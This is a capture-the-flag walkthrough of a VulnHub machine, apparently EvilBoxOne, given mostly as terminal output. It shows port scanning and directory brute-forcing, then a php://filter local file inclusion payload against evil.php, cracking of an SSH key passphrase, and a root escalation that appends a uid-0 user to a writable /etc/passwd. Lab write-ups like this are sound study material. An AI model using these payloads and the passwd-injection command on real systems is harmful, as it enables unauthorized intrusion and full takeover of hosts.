┌──(mikannse㉿kali)-[~/vulnhub] └─$ sudo nmap --min-rate=10000 -p- 192.168.129.3 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 14:00 HKT Stats: 0:00:42 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 99.99% done; ETC: 14:00 (0:00:00 remaining) Nmap scan report for 192.168.129.3 (192.168.129.3) Host is up (0.24s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:9D:74:E2 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 50.73 seconds
┌──(mikannse㉿kali)-[~/vulnhub] └─$ sudo nmap -sT -sC -sV -p22,80 192.168.129.3 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 14:01 HKT Nmap scan report for 192.168.129.3 (192.168.129.3) Host is up (0.00055s latency).
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0) | ssh-hostkey: | 2048 44:95:50:0b:e4:73:a1:85:11:ca:10:ec:1c:cb:d4:26 (RSA) | 256 27:db:6a:c7:3a:9c:5a:0e:47:ba:8d:81:eb:d6:d6:3c (ECDSA) |_ 256 e3:07:56:a9:25:63:d4:ce:39:01:c1:9a:d9:fe:de:64 (ED25519) 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Apache2 Debian Default Page: It works |_http-server-header: Apache/2.4.38 (Debian) MAC Address: 08:00:27:9D:74:E2 (Oracle VirtualBox virtual NIC) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 6.60 seconds
┌──(mikannse㉿kali)-[~/vulnhub] └─$ sudo nmap --script=vuln -p22,80 192.168.129.3 Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-01-15 14:02 HKT Nmap scan report for 192.168.129.3 (192.168.129.3) Host is up (0.00060s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http |_http-csrf: Couldn't find any CSRF vulnerabilities. |_http-dombased-xss: Couldn't find any DOM based XSS. |_http-stored-xss: Couldn't find any stored XSS vulnerabilities. | http-enum: | /robots.txt: Robots file |_ /secret/: Potentially interesting folder MAC Address: 08:00:27:9D:74:E2 (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 31.12 seconds
Web
┌──(mikannse㉿kali)-[~/vulnhub] └─$ feroxbuster -u http://192.168.129.3/secret/ -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -x .php,txt,zip,rar,bak,sql ___ ___ __ __ __ __ __ ___ |__ |__ |__) |__) | / ` / \ \_/ | | \ |__ | |___ | \ | \ | \__, \__/ / \ | |__/ |___ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://192.168.129.3/secret/ 🚀 Threads │ 50 📖 Wordlist │ /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [php, txt, zip, rar, bak, sql] 🏁 HTTP methods │ [GET] 🔃 Recursion Depth │ 4 ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 403 GET 9l 28w 278c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 9l 31w 275c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 4l 0w 4c http://192.168.129.3/secret/ 200 GET 0l 0w 0c http://192.168.129.3/secret/evil.php
┌──(mikannse㉿kali)-[~/vulnhub] └─$ curl "http://192.168.129.3/secret/evil.php?command=php://filter/read=convert.base64-encode/resource=evil.php" |base64 -d % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 92 100 92 0 0 28589 0 --:--:-- --:--:-- --:--:-- 30666 <?php $filename = $_GET['command']; include($filename); ?>
┌──(mikannse㉿kali)-[~/vulnhub/evilbox] └─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 1 for all loaded hashes Cost 2 (iteration count) is 2 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status unicorn (key) 1g 0:00:00:00 DONE (2025-01-15 14:30) 50.00g/s 62400p/s 62400c/s 62400C/s ramona..shirley Use the "--show" option to display all of the cracked passwords reliably Session completed.
提权
使用linpeas进行信息搜集，发现/etc/passwd是可写的，那么尝试写一个超级用户
╔══════════╣ Permissions in init, init.d, systemd, and rc.d ╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#init-init-d-systemd-and-rc-d ═╣ Hashes inside passwd file? ........... No ═╣ Writable passwd file? ................ /etc/passwd is writable ═╣ Credentials in fstab/mtab? ........... No ═╣ Can I read shadow files? ............. No ═╣ Can I read shadow plists? ............ No ═╣ Can I write shadow plists? ........... No ═╣ Can I read opasswd file? ............. No ═╣ Can I write in network-scripts? ...... No ═╣ Can I read root folder? .............. No
mowree@EvilBoxOne:/tmp$ echo 'hack:$1$hack$xR6zsfvpez/t8teGRRSNr.:0:0::/root:/bin/bash' >>/etc/passwd mowree@EvilBoxOne:/tmp$ su hack Contraseña: root@EvilBoxOne:/tmp# id uid=0(root) gid=0(root) grupos=0(root)
